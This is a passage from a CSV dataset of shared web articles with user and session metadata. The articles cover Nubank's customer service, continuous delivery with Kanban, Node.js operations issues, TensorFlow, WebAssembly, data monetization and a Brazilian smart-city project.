timeline. Entre as mais famosas estão a do cliente que ligou para reclamar que a compra de um lanche foi cobrada duas vezes e, além de ter o valor estornado, recebeu uma simpática sanduicheira roxa em casa com receitas de lanches escritas à mão pelo atendente. A lista de histórias é grande e Cris diz que as ações funcionam porque são genuínas, fruto de um time que se esforça para ser criativo e surpreender. É algo levado tão a sério que os autores das ideias mais legais recebem um prêmio lá dentro, entregue a cada dois meses. ""Sempre buscamos tratar as pessoas de forma humana. Se alguém liga para bloquear o cartão porque foi assaltado, a primeira coisa que temos que fazer é perguntar se o cliente está bem"", diz. Nesses dois anos de Nubank, Cris percebeu que o jeito informal do atendimento pode não agradar todo mundo - e tudo bem também. ""Tentamos seguir o tom que o cliente usa, mais ou menos informal. Mas se ele quer ser chamado de senhor, este não é o cartão de crédito para ele"" Além de gerenciar a expansão rápida dentro de casa, o Nubank precisou administrar um problema um tanto quanto inusitado: a ansiedade e as expectativas dos fãs da marca. ""As pessoas pedem o cartão e seguramos a aprovação de acordo com a análise de crédito. Foi esse o controle que encontramos, desde o começo, porque não dávamos conta do ritmo de pedidos"", diz ela. Sem planejar, essa demora em atender os pedidos acabou envolvendo o Nubank em uma aura de cobiça. De tão ansiosos, muitos clientes chegavam a postar foto do cartão, expondo todos os números, nas redes sociais assim que o recebiam. ""Era um tal da gente ligar e avisar que teríamos de cancelar o cartão e enviar outro por causa do risco de fraude"", conta Cris. A solução foi criar um envelope com o logotipo da marca, mas capaz de esconder os números, além de reforçar os avisos de que não é muito prudente postar as informações do cartão de crédito por aí. PÉ NO FREIO TAMBÉM FAZ PARTE Foi preciso algum tempo, mas a empresa percebeu que colocar o pé no freio é essencial. Além de entender que o Nubank pode não ser a melhor solução para todos os clientes, a cofundadora também precisou ser mais seletiva para atender a imprensa. Pelas contas dela, a cada oito horas é publicada uma matéria sobre o Nubank, inclusive em veículos internacionais. Se ela for dar tanta entrevista, não sobra tempo para muita coisa. Ela também segura a onda quando questionada sobre o futuro da empresa: ""As coisas aconteceram tão rápido até aqui que as vezes é difícil até mesmo fazer um balanço. O ano passado foi para provar que nós fazemos sentido, já 2016 foi a hora de cuidar da fundação, da casa, do time e da estrutura. Em 2017 queremos pensar em coisas novas, não só em resolver problemas"". A empresa vai encerrar 2016 atendendo a um pedido que ouviu muito nestes dois anos: a criação de uma política de recompensas. Em setembro, lançaram o Nubank Rewards, que promete ser mais vantajoso que os tradicionais programas de acúmulo de milhagens (ainda que publicações especializadas tenham reagido com alguma frieza). O serviço é opcional e, quem optar por ele, paga assinatura a partir de 190 reais por ano. O programa dá um ponto para cada real gasto, que pode ser usado para abater serviços específicos, como Uber e Spotify, ou compras na fatura do cartão. A Cris também toma fôlego para olhar mais longe e pensar no papel da empresa na sociedade. ""Tenho refletido muito sobre o futuro da minha filha como mulher"", diz, sobre a constatação de que o sexo feminino ainda enfrenta dificuldades para alcançar seu potencial. Ela cita um dado da consultoria McKinsey: o acesso mais pleno das mulheres à educação e ao mercado de trabalho aumentaria em 12 trilhões de dólares o PIB global. Com isso em mente, Cris diz estar disposta a começar a mudar este jogo. A filha, Alice, mais uma vez parece estar levando a Nubank para o futuro.",pt
1477920217,CONTENT SHARED,-78667914647336721,301435144665447655,-3334567622700890709,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",MG,BR,RICH,https://leankit.com/blog/2016/10/build-quality-key-continuous-delivery/,Build Quality In: The Key to Continuous Delivery in Kanban,"The technology world is changing fast, faster than ever. A few years ago, we thought that only the Amazons or Facebooks of this world would be able to do continuous delivery. Now, the phenomenon is getting traction, starting to become mainstream and before we know it, it will be commoditized. Everybody will do it. Why? Because the ability to release often gives organizations a great competitive advantage over their competitors with slower turnaround times. In order to practice continuous delivery, teams have to build quality into everything they do. This means that the actual product not only reaches the customers faster - it's a better product, too. Learning to build quality in with Kanban helped my development team reduce waste, deliver faster, and communicate better with the organization around us. Keep reading to learn how my development team changed our infrastructure, development practices, and culture to enable continuous delivery. How Quality and Continuous Delivery Relate I've had the luck of being part of a team working on improving our organization's ability to deliver fast, so I've experienced the turmoil that comes with going from one release a month to multiple releases per day. Applying traditional testing approaches might make the challenge seem impossible, and in fact, without completely changing the way we build and test software, we can't expect to aim at reaching sustainable continuous delivery. Our adoption of Kanban and the Kanban method was fundamental for the direction we were going. By adopting the method, we were able to identify our bottlenecks, make wait time visible and maximize the benefits of small batches and continuous flow. We soon realized that if we wanted to have any chance of being able to release continuously, we needed to reduce rework. In the old world, testers and business users would take two weeks of the iteration for their quality control activities. A lot of the time was not spent testing, but identifying and logging large numbers of defects and dealing with unstable environments. We attacked this problem on three fronts: Infrastructure, development practices, and culture. Infrastructure: Reduce Human Errors To reduce rework in our infrastructure, we developed a brand new delivery pipeline that carried both code and context. We also created on-demand test environments, to reduce the amount of time wasted setting them up manually and reworking incorrect configurations. This meant a drastic reduction of manual steps in build and deployment. While initially this was implemented only on our test environments, it gave us immediate benefits. The ability to test on reliable environments, created with a repeatable process, reduced our test time significantly. Development Practices: Better Communication, Smaller User Stories Behavior Driven Development (BDD) We adopted Behavior Driven Development (BDD) to reduce the misunderstandings between business stakeholders and the development team and as a consequence, reduce rework caused by miscommunications. BDD gave excellent results very early. We soon realized how much we had left to individual interpretation - and the extent to which this had caused most of the defects we found in quality control activities. Thanks to BDD, defect rates went down dramatically. The more we improved the collaboration within the teams, the more the business knowledge grew within its members. This allowed for easier decision making; decisions that had previously required long, frustrating meetings now became quick conversations. Smaller User Stories Another approach we found extremely beneficial in reducing rework was vertically slicing our user stories, hence reducing their complexity. This often meant that the logic in the new code would include a single code path. Lower complexity meant fewer defects and reduced rework. Balanced Test Automation Strategy At the same time, we defined a strategy that involved high usage of automation tests at the unit level, a consistent layer of API level automated tests, and a very thin layer of UI-driven tests in line with Mike Cohn's automated test pyramid . This allowed our regression suite to stay fast and stable, something that's absolutely fundamental if you want to be able to deliver customer value each time your development team pushes some new code. Using BDD and implementing test automation didn't mean that we stopped executing exploratory testing, but that the activity became less and less time consuming due to the reduction of defects and the smaller size of the stories. Building Quality In I worked, for a couple of months, on a product that involved the transformation of a stream of data into a different data structure to be consumed by a client, I remember that I never exploratory tested anything for more than 10 minutes, and I never felt as if I was leaving something behind. This was liberating for me, to feel as though I could produce quality work at a fast pace without sacrificing anything. Our customers didn't encounter problems either. We were inspecting the application an order of magnitude less than before, but the quality of our output was higher. We were building quality in. Culture: Encouraging Collaboration This type of transformation is not too difficult from the technical point of view. It's far more complicated from a cultural point of view. When I joined the company I am referring to, I found extremely skilled developers that were not used to testing. They had been spoiled by the testers running after their messy code and never grew any interest in the discipline. Culture is hard to change. Our strategy was to encourage healthy behaviors rather than punish bad ones. For example, we encouraged and praised developers that were willing to test, and we also praised people who worked in pairs. We encouraged and recognized every sort of collaboration. We knew the team had to become a unit of people who trusted each other and not only a group of people with all the skills necessary to deliver a complex solution. Sharing Knowledge and the Creation of a Test Tribe We needed to reach a work cohesion that brought the ability to collaborate and removed bottlenecks while keeping work flowing. One key to success was the focus we put on building t-shaped skills by learning from each other and offering help at all times. One successful initiative was the creation of the Test Tribe. The Tribe was a voluntary and fully autonomous group of people that cared about software quality. After a while, this group of people, which met every week to have Lean Coffee-style conversations, was becoming large, with the majority of its members being developers. I don't have enough space to mention a number of experiments and improvements that started at this level. One notable success was the design of a tool that greatly improved testability of our main app, which reduced the time for exploration from hours to minutes. The tribe also contributed to changing our process, removing unnecessary steps, and in one specific instance, identifying a change that reduced lead time by 30% with little effort. The tribe was thriving and its successes quickly trickled down to the different teams where tribe members existed. Teams started experimenting more and more and improving their systems stepping beyond quality only improvements, it was great to observe. Build Quality In: Final Thoughts Any organization can practice continuous delivery - and they should, if they hope to compete in the modern marketplace. Continuous delivery helps organizations not only deliver faster than their competitors, but with higher quality, too. I've seen this work on my own development team, through a series of incremental changes that resulted in a major shift in how we operated - helping us transition from one release a month to multiple releases per day: Infrastructure: We changed our infrastructure to reduce the number of manual steps in build and deployment. This allowed us to have more reliable testing environments with significantly shorter test times, which meant we could deliver faster with fewer bugs. Development Practices: We changed our development practices to improve communication up and across the organization. This helped us reduce rework due to miscommunications. We also made user stories smaller and simpler, which reduced complexity and thereby made it easier to deliver frequently. We implemented a balanced test automation strategy, which allowed our regression suite to stay fast and stable. Culture: Finally, we changed our culture, in the same way we changed everything else - quickly, but incrementally, so that the changes were sustainable. We encouraged healthy behaviors, ones that promoted testing and collaboration between teams. We created a Test Tribe, a group of testing enthusiasts, whose influence spread throughout the organization and helped solidify our new culture: one that was built around collaboration, communication, and quality. All of these efforts resulted in a system that was designed to deliver fast, with quality built into every step of the process.",en
1477935425,CONTENT SHARED,1649752043999819668,5127372011815639401,-4463843219651655599,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",MG,BR,HTML,http://thenewstack.io/top-four-items-operations-performance-team-know-implementing-node-js/,Four Node.js Gotchas that Operations Teams Should Know about - The New Stack,"There is no doubt that Node.js is one of the fastest growing platforms today. It can be found at start-ups and enterprises throughout all industries from high-tech to healthcare. A lot of people have written about the reasons for its popularity and why it has made sense in ""digital transformation"" efforts. But when you implement Node.js, do you have to replace your mainframes and legacy software with a shiny new Node.js-based microservice architecture? Let's zoom out and walk in the shoes of those who oversee the whole digital value chain: operation and performance teams. What challenges do operation and performance teams face today when they begin to implement Node.js? Does it require an entire gutting of their system? New Tier / New Paradigm / New Challenges In many cases, Node.js acts as a new tier that augments the enterprise stack and connects it with new offerings. It's the fast moving technology at the edge of the system. One often embraced benefit of Node.js is that it enables teams to move much faster. Add microservices and suddenly there are multiple deployments per day compared to one every few weeks. For many enterprises, this introduces a new paradigm and requires changes to processes that affect other parts of the organization, particularly with those that are in charge of availability and performance, i.e. the operations and performance teams. These teams don't consist of Node.js experts and don't have to. They are driven by metrics like mean time to repair (MTTR). Their main concern is to find the root cause of performance degradations and outages fast. How can these teams make sure the transition to Node.js goes smoothly based on their bottom line? How can they keep their systems humming? Below we've listed out a few common Node.js problems that occur when you introduce it in the enterprise, and how best to manage and solve these problems. Top Node.js Problems and How to Track Them Down Node.js applications in enterprise scenarios are rather simple. Common use cases are: Fetching data from backends. Performing authentication for incoming requests. Rendering views. Node.js uses Google V8 - the JavaScript engine of Chrome - as a runtime and a library called libuv that provides an event loop to perform asynchronous tasks. All of that is abstracted away from the user by a well-defined JavaScript API - not much can go wrong, e.g. there is no way to introduce thread locking issues and generally tracking down root causes is easier than in other platforms. Still, some typical problem sources need to be watched closely. 1. Memory Leaks Node.js is more similar to Java when it comes to runtime behavior. It's a long running process and because of this, it is prone to memory leaks of all kinds. Like in other platform, memory leaks materialize in a steadily growing heap usage, which causes a crash when the maximum allocate able heap is exhausted. Often this is accompanied by high garbage collector churn while the runtime desperately tries to free memory. Possible causes can be as simple as large objects that are hooked to the root scope and hence never freed. But, there are also more difficult cases caused by so-called closures (functions that rely on their enclosing scope) giving the garbage collector a hard time to dereference the dependencies. There are also cases where the host simply has too low of a memory configuration causing the garbage collector not to run in time. To track down memory leaks, heap dumps are the tool of choice. There are several modules that export V8 hooks to JavaScript. Using them, it is fairly easy to trigger a dump whenever certain memory thresholds are exceeded. Here is an example that uses simple anomaly detection and utilizes the module v8-profiler to create dump files that can be consumed by Chrome Developer Tools . 2. CPU Problems Node.js runs in a single thread. Hence it's not a good fit for CPU-heavy operations. If the CPU is occupied, e.g. because it's transforming a large chunk of JSON - no other requests can be handled during this time. Netflix - a big Node.js shop - had such a problem when an automated script created routes without disposing of the old ones, causing the routing table to fill up over time. At some point, discovering the right function to call for an incoming request took so much time that it severely affected performance. Read their blog post about that . Node.js out-of-the-box comes with hooks to switch on CPU sampling - the data produced by the sampler can then be consumed by various tools. Using this data, it is rather easy to find out where the time is spent. Like for memory introspection, there are several ways to capture CPU samples from within JavaScript to analyze them in various tools. Here is an example that uses v8-profiler again. This time for getting CPU sampling data to find out what was on the CPU at a given time slice. 3. Back Pressure When Node.js acts as a gluing tier connecting different parts of the stack, problems down the stack may surface first in Node.js. Back pressure occurs, when Node.js dispatches requests to slow backends. While Node.js has excellent capabilities for performing outbound requests, slow backends can cause congestion of the machinery waiting for those requests to come back. Degraded performance and even exceptions can be the result. The metric to look at in this case is the number of dispatched vs. the number of returning requests at any given time. Such problems can only be tracked down to its root cause by using a monitoring solution that traces transactions passing through all tiers, providing metrics about inter-tier communication. Every major vendor in the APM space today provides agents that monitor requests going in and out to and from Node.js. 4. Security Node.js offers a huge repository of small composable modules . Using the Node.js package manager (npm), it is a matter of seconds to add modules to a project, well-known frameworks like HAPI or Express build on them, and it would be highly inefficient to relinquish their use completely. Still, every module installed is third party code. It can be poorly maintained and contain bugs that are never fixed or - even worse - security issues. Before using a module, a developer should always check its quality and make sure that it's not trivial enough to be done themselves. To tackle the problem, many enterprises also run their own, private npm repository where only packages that went through some auditing process can be found. Tools like the Node Security Platform or Snyk can streamline this process by using exploit databases to find and fix possible security issues in installed modules. Outlook The Node.js diagnostics and the post mortem working groups solely focus on ways to extend and unify the tracing and debugging capabilities within Node.js. A few highlights from them include: A new tracing facility is around the corner. It will allow low overhead process level tracing. There are current initiatives to unify the way core dumps can be analyzed. With async-hooks, there will be finally a generic way to accomplish long stack traces and transactional tracing through callbacks. Given the current pace of development and how active the community is driving performance topics; Node.js enterprise capabilities will make another leap in 2017. Summary Very often Node.js applications are small and not complex. Communication between tiers, memory leaks and CPU congestion can cause issues. Luckily the platform isn't a black box, and for every problem, there are ways to introspect running applications to find the root cause. Monitoring is a topic taken seriously by the Node.js project, and within the next releases, additional ways to trace, debug and monitor Node.js will be introduced adding, even more, capabilities to fix problems fast. The next time your development team wants to implement Node.js, have no fear, Ops.",en
1477943014,CONTENT SHARED,-2940536914889279273,-1443636648652872475,6471157133613106545,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://medium.com/@ilblackdragon/tensorflow-tutorial-part-1-c559c63c0cb1,TensorFlow Tutorial- Part 1,"UPD (April 20, 2016): Scikit Flow has been merged into TensorFlow since version 0.8 and now called TensorFlow Learn or tf.learn. Google released a machine learning framework called TensorFlow and it's taking the world by storm. 10k+ stars on Github, a lot of publicity and general excitement in between AI researchers. Now, but how you to use it for something regular problem Data Scientist may have? (and if you are AI researcher - we will build up to interesting problems over time). Why do I care? A reasonable question, why as a Data Scientist, who already has a number of tools in your toolbox (R, Scikit Learn, etc), you care about yet another framework? The answer is two part: Deep Learning part of TensorFlow allows you to stack a number of different models and transformations in one model and learn them all together. You can handle text, images and regular categorical and continues variables inside one model with ease. It's also easy to do multi-target and multi-loss at the same time, pre-learning and a host of other ML techniques that would be either hard or impossible to do in the conventional setups. Pipelining part of TensorFlow will grow into a powerful way of processing data. In the future data processing and machine learning will be all done in one framework and TensorFlow pushes into that direction. Simple model for Titanic dataset Let's start with simple example - take Titanic dataset from Kaggle. First, make sure you have installed TensorFlow and Scikit Learn with few helpful libs, including Scikit Flow that is simplifying a lot of work with TensorFlow: You can get dataset and the code from Quick look at the data (use iPython or iPython notebook for ease of interactive exploration): Let's test how we can predict Survived class, based on float variables in Scikit Learn: We separate dataset into features and target, fill in N/A in the data with zeros and build a logistic regression. Predicting on the training data gives us some measure of accuracy (of cause it doesn't properly evaluate the model quality and test dataset should be used, but for simplicity we will look at train only for now). Now using tf.learn (previously Scikit Flow): Congratulations, you just built your first TensorFlow model! TF.Learn (previously Scikit Flow) TF.Learn is a library that wraps a lot of new APIs by TensorFlow with nice and familiar Scikit Learn API. TensorFlow is all about a building and executing graph. This is a very powerful concept, but it is also cumbersome to start with. Looking under the hood of TF.Learn, we just used three parts: layers -  set of advanced TensorFlow functions, that allow to easily build complex graphs. From fully connected layer, convolution, batch norm to losses and optimization. graph_actions  - set of tools to perform training, evaluating and running inference on TensorFlow graphs. Estimator  - packaging everything in a class that follows Scikit Learn interface and provides a way to easily build and train custom TensorFlow models. Subclasses of Estimator like LinearClassifier, LinearRegressor, DNNClassifier, etc - are pre-packaged models similar to Scikit Learn LogisticRegression that can be used in one line. Even as you get more familiar with TensorFlow, pieces of Scikit Flow will be useful (like graph_actions and layers and host of other ops and tools). See future posts for examples of handling categorical variables, text and images. Coming up... Part 2 - Deep Neural Networks, Custom TensorFlow models with Scikit Flow and Digit recognition with Convolutional Networks.",en
1477953949,CONTENT SHARED,7345394467579731315,881856221521045800,-6814358941957789549,Android - Native Mobile App,MG,BR,HTML,https://www.ibm.com/blogs/bluemix/2016/10/bluemix-garage-method-field-guide/,Introducing the IBM Bluemix Garage Method Field Guide - Bluemix Blog,"How-to Is the competition leaving you behind? What does it mean to behave like a startup? How can you transform your business? Field-tested answers to these questions and others are found in the IBM Bluemix Garage Method Field Guide . This handy guide describes the practices, architectures, and toolchains that cover the entire product lifecycle - from early design through delivery - including responding to the market and your customers. Presented in a fun and visual format, the Field Guide introduces the method and its related practices and architectures that you need to quickly develop quality products. Get started and use the Field Guide to start your business transformation and get on track to beat the competition. Now available from the IBM Bluemix Garage Method site or by simply clicking the download button below. Download the ""IBM Bluemix Garage Method Field Guide"" Share this post: Share on Facebook Share on LinkedIn Share on Twitter The true power of cloud computing is the ability to use a powerful infrastructure while letting me focus on what matters to me: my unique application offering. Bluemix offers you that powerful infrastructure, with a host of mature functional services - all based on cutting edge open source technologies - such as Cloud Foundry, OpenStack and Docker. This article will show you how, leveraging Bluemix services, you can build powerful and fun apps. So let's put on our developer's hat and get working! This free online course will help you understand the fundamentals of cloud computing, Bluemix, services, DevOps, containers, Cloud Foundry, and best practices for agile and test-driven development. The course includes video lectures, exercises, and quizzes to help you learn the material. This post gives you a starting point for building a serverless Slack app with IBM Bluemix OpenWhisk actions exposed via API Connect. Sign up for a Bluemix trial today",en
1477962397,CONTENT SHARED,6389624212149850449,-1443636648652872475,-221009683773945387,Android - Native Mobile App,SP,BR,HTML,https://opensource.googleblog.com/2016/10/using-tensorflow-and-jupyterhub.html,Using TensorFlow and JupyterHub in Classrooms,"We've published a new solution and a companion GitHub repository that guides you through setting up a Google Container Engine cluster to run JupyterHub to automatically provision secure Jupyter containers for each user in a classroom or team. Don't let the title of this article mislead you, not only does it use TensorFlow and JupyterHub, it's actually an open source and cloud smorgasbord based on the Jupyter and Kubernetes platforms. Jupyter is a powerful open source technology that gives you a platform to write and execute code to analyze, visualize and share the discoveries you find in your big data set. You can download a number of different Docker images preconfigured with many different notebook extensions and software packages to help you on any kind of data-science quest. If you're exploring on your own, and really want to get started quickly, you can get this all running on your local computer, but what if you want to take your expertise and lead a classroom of people along the same path? You have to either configure everything for them or walk them through configuring their own machines with all the required software. This is where JupyterHub comes in, as a management layer in front of Jupyter instances, allowing you to configure users, using custom authentication , and giving you a Python interface to spawn new Jupyter instances for each user. Even with JupyterHub, you still need a way to provision physical and virtual hardware for the students. Enter Kubernetes, an open source system for automating deploying, scaling and managing containerized applications. Google Container Engine is a fully managed service based on Kubernetes, allowing you to create clusters easily on Google Cloud Platform . This solution comes with a JupyterHub Spawner class that allows it to create Kubernetes Pods, which are Docker images running Jupyter, for each user. It also comes with all the automation scripts required to create a Container Engine cluster and let you easily customize your setup. When your students log into JupyterHub using Google OAuth2 , they can choose from a list of several pre-built Jupyter images, including a newly updated ""datalab-jupyter"" image, which comes with the Google Datalab open source notebook extension enabling integration with BigQuery , Google Cloud ML , StackDriver , and it also has TensorFlow and the Apache Beam Python SDK for Google Cloud DataFlow installed. Users can also choose to run any of the pre-configured Jupyter docker-stack images , or you can build your own Docker images to run any special libraries or Jupyter configurations you want. We hope that this solution allows you to get your classroom or team environment running quickly so you can focus on learning rather than configuring machines. By Brad Svee, Cloud Solutions Architect",en
1477969370,CONTENT SHARED,-8657415528200615063,-8020832670974472349,610589969482291134,Android - Native Mobile App,SP,BR,HTML,http://v8project.blogspot.com.br/2016/10/webassembly-browser-preview.html?m=1,WebAssembly Browser Preview,"Today we're happy to announce, in tandem with Firefox and Edge , a WebAssembly Browser Preview. WebAssembly or wasm is a new runtime and compilation target for the web, designed by collaborators from Google, Mozilla, Microsoft, Apple, and the W3C WebAssembly Community Group . What does this milestone mark? This milestone is significant because it marks: a release candidate for our MVP (minimum viable product) design (including semantics , binary format , and JS API ) compatible and stable implementations of WebAssembly behind a flag on trunk in V8 and SpiderMonkey, in development builds of Chakra, and in progress in JavaScriptCore a working toolchain for developers to compile WebAssembly modules from C/C++ source files a roadmap to ship WebAssembly on-by-default barring changes based on community feedback You can read more about WebAssembly on the project site as well as follow our developers guide to test out WebAssembly compilation from C & C++ using Emscripten. The binary format and JS API documents outline the binary encoding of WebAssembly and the mechanism to instantiate WebAssembly modules in the browser, respectively. Here's a quick sample to show what wasm looks like: Greatest Common Divisor function Since WebAssembly is still behind a flag in Chrome ( chrome://flags/#enable-webassembly ), it is not yet recommended for production use. However, the Browser Preview period marks a time during which we are actively collecting feedback on the design and implementation of the spec. Developers are encouraged to test out compiling and porting applications and running them in the browser. V8 continues to optimize the implementation of WebAssembly in the TurboFan compiler . Since last March when we first announced experimental support, we've added support for parallel compilation. In addition, we're nearing completion of an alternate asm.js pipeline, which converts asm.js to WebAssembly under the hood so that existing asm.js sites can reap some of the benefits of WebAssembly ahead-of-time compilation. Barring major design changes arising from community feedback, the WebAssembly Community Group plans to produce an official specification in Q1 2017, at which point browsers will be encouraged to ship WebAssembly on-by-default. From that point forward, the binary format will be reset to version 1 and WebAssembly will be versionless, feature-tested, and backwards-compatible. A more detailed roadmap can be found on the WebAssembly project site.",en
1477994529,CONTENT SHARED,-6215634663594744290,7645894863578715801,9201684562421134994,Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0,SP,BR,HTML,https://medium.com/built-to-adapt/stop-trying-to-monetize-your-data-a61791fa5d98,Stop Trying to Monetize Your Data - Built to Adapt,"Every week in our briefing center, we talk to companies about unlocking the potential of their data, and the same question crops up. I often find some version of it in the pre-brief document I get as a regular speaker for these data overview sessions. But it's usually the same: "" How can we monetize our data ?"" While I'm excited to talk to companies about the possibilities for their data, I find that trying to answer that question directly misses the real question: What problems can you solve - or solve better - with data? Looking at data in isolation from the problems it could help solve is a widespread misstep made by organizations. Nick Heudecker, research director at Gartner, recently noted that ""the big issue is not so much big data itself, but rather how it is used. While organizations have understood that big data is not just about a specific technology, they need to avoid thinking about big data as a separate effort."" This is not to say that monetization doesn't or can't happen. Rather, consider how your data can help solve specific business problems. This indirect but potent path can eventually lead to data monetization. Start with the problem, not the data Approaching your data with the sole purpose of spinning it into gold is - surprise! - the stuff of fairy tales. Starting with your data and trying to find the money is actually more like panning for gold: labor-intensive, stressful, and inefficient. You can spend a lot of time sifting through data for something promising, but you still have to validate that it's something someone will pay for. Instead, start by identifying business problems that exist and treat them as opportunities. Here are some broad categories of 'problems' and opportunities that data can help address: Customer problems you're already solving: Your data will have the greatest impact on the core customer problem you already solve. Whether it's delivering packages or providing retirement plan services, this should be the reason you exist as a business. Your data can help improve how you solve these core problems, and, in some cases, instantly provide a path to scale. Customer problems you haven't solved yet: No matter your industry, your customers have many times when they could make better decisions about using your product or service, and, as a result, have a better experience. For example: a student at a university might enjoy knowing which courses to take to earn a higher GPA. A car owner would appreciate understanding how fast to drive to optimize fuel efficiency. Or in general, you could use data could tell your users how long it will take to have a problem with your product or service addressed. Operational problems that cost organizations money: Many enterprises have lists of inefficiencies - like a telco or bank with high customer churn, a utility company that's losing revenue due to service theft, or unexplained application outages that reduce productivity. Issues like these can become high priority areas based on the estimated impact to the business. As you think about current and potential problems to solve, consider what type of person needs to do something differently as part of that solution: Is it a field technician? A support center rep? A specific customer persona? A user? ""Monetize"" through the application Once you know whose problem you are trying to solve, understand how they currently solve this problem. Some questions to guide you in this process include: Where do they go for their information as they make their decisions or take actions? What steps do they take? What applications are they already using in that process? You either already have an application in front of this target user or you don't. A lot of enterprises have existing applications that could be augmented. Other times, it makes more sense to build an app from scratch. Regardless, the application needs to let the user take an appropriate action as part of solving that problem. It can't simply be an information portal. Why? Users generally come back to apps that allow them to take meaningful action. For example, if the target user is a bank customer, they should be able to transfer funds, not just look at their bank balance. If it's a customer service rep, they should be able to dispatch a technician or issue a credit to their account. Users generally come back to apps that allow them to take meaningful action. Now, consider that action as the one you want to optimize. Sometimes it's relatively simple: If the target user is a consumer and they are able to purchase a product or book a service, you are probably trying to drive more of those actions. Sometimes, it's a little more complex: If the action is to dispatch a service technician, perhaps you want to dispatch the closest technician that isn't likely to require overtime pay. Influencing these actions as they are happening is what can drive additional revenue or lower costs. And that's precisely where data comes in. Use data to improve the experience At this point you should know the user , the application , the action , and which way you want to influence that action. You can influence that action with data by offering decision support directly in the app at or preceding the action in question. This is not just data surfaced in an analytical report - most users don't have time to interpret a bar chart or scatter plot. Instead, it's a feature that directly offers a tip, recommendation, or estimate. Unpacking what goes into one of these data-driven features reveals a number of requirements. Predictive analytics and optimization math is nothing new, but the scale of data that is available to help build those models strains legacy systems. Being able to run analytical queries and libraries of analytical functions, like R or Python, in parallel across a horizontally scaled database, markedly changes the sophistication and speed of your data models. Analytical models - however sophisticated - are still in essence just math that produces a table. Tables by themselves are not enough to prompt a user to take an action. Getting there through analytical models means asking and answering two common questions: Approximately when is something going to happen? What is the best option range of potential actions? Notice that neither question seeks an exact answer. Predictions and optimizations can have a range of confidence levels that leaves some margin for error. Given what users on Netflix or Amazon are trying to do, a recommendation reel functions best as a range of curated option. AirBnB's ""price tip"" feature offers a slider bar to show a range of suggested listing price points and relative degrees of booking likelihood. Finding the right way to surface the output from an analytical model to drive behavior and better meet user needs can take several iterations. This is where an agile approach - test-driven, iterative releases; a platform for continuous delivery ; and blue-green deployments  - all support data-driven applications. Further, user feedback and analyzing clickstream data are essential to fine-tuning the experience for users. It's about value Anticipating a user need at the right moment and changing a user's behavior is no trivial task. But if you can present an easier, faster, smarter alternative, you have an opportunity to promote a new or different action that is relevant to the user. In the end, your data capabilities and models are only as good as how well you get those insights into the hands of users at the moment they need them. And it is this very place where the user finds value - in smart alternatives and features - where you can finally fulfill that promise of monetizing your data, by making it useful. ✹ This article is part of Built to Adapt , a publication by that shares stories and insights on how software is changing the way society and businesses are built.",en
1478003701,CONTENT SHARED,-8781597910014596432,3609194402293569455,8610082180409459730,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://startupi.com.br/2016/11/primeira-cidade-inteligente-brasileira-equipada-com-sensores-sistemas-e-solucoes-digitais-sera-desenvolvida-por-startup/,"Primeira cidade inteligente brasileira, equipada com sensores, sistemas e soluções digitais, será desenvolvida por startup - Startupi","Fica pronta até o final deste ano a fase inicial de Laguna Ecopark, a primeira cidade inteligente brasileira e a primeira do mundo destinada a uma população de baixa renda. O projeto tem a participação da Tyco Innovation, por meio da startup israelense Magos, que integra o programa de aceleração Tyco (NYSE: TYC). Erguida em Croatá, um distrito de São Gonçalo do Amarante, a 55Km de Fortaleza, Laguna Ecopark será a cidade mais moderna do Brasil, equipada com sensores, sistemas e soluções digitais que a tornam viva e sensível, podendo reagir com agilidade em benefício de seus moradores. O executivo Ofir Bar-Levav, CFO da Tyco em Israel, esteve em Croatá para ver o andamento do projeto, onde a Magos, com apoio da Tyco Innovation, é responsável por um sistema de segurança baseado em radares. Embora o radar seja uma tecnologia cara e com mais de 50 anos de existência, a Magos conseguiu desenvolver uma versão de baixo custo, capaz de detectar e acompanhar intrusões em qualquer situação climática, incluindo chuva e neblina, substituindo as tradicionais câmeras de vigilância. Bar-Levav destaca que o projeto de Croatá é único no mundo, e bem distinto de cidades inteligentes como Cingapura ou York, onde o desenvolvimento foi caro e complexo. O projeto brasileiro conta com parceiros de tecnologia que proporcionarão aos moradores recursos fundamentais em três pilares: segurança, energia e inclusão social. ""Se for bem-sucedido, teremos finalmente um bom padrão para implantar uma cidade inteligente, e a Tyco já faz parte desse padrão"", observa Bar-Levav. Atualmente, as tecnologias inteligentes de sensoreamento e automação da Tyco podem ser dimensionadas para atender tanto uma cidade quanto um pequeno prédio, conta ele. Nos próximos 20 anos, acrescenta o CFO da Tyco Israel, a urbanização continuará se acelerando em regiões como a Ásia, África e América do Sul, e muitas cidades serão criadas do zero, como Laguna Ecopark. ""Normalmente os projetos são focados em habitações de baixo custo e infraestrutura básica, mas a Planet Idea veio com uma ideia ousada, dentro da qual as pessoas podem morar em casas econômicas, porém com o conforto que a conectividade e as tecnologias de segurança podem proporcionar"". Além da Magos, outras 14 startups já passaram pelo programa da Tyco Innovation, num ciclo de trabalho que dura apenas um semestre. Nesse período, explica Bar-Levav, a empresa tem a oportunidade de desenvolver seu produto durante um projeto-piloto com um cliente da Tyco especialmente convidado para essa finalidade. Havendo sucesso, a Tyco pode se tornar investidora e parceira da startup. Boa parte das startups apoiadas pela Tyco desenvolvem soluções baseadas em sensores.",pt
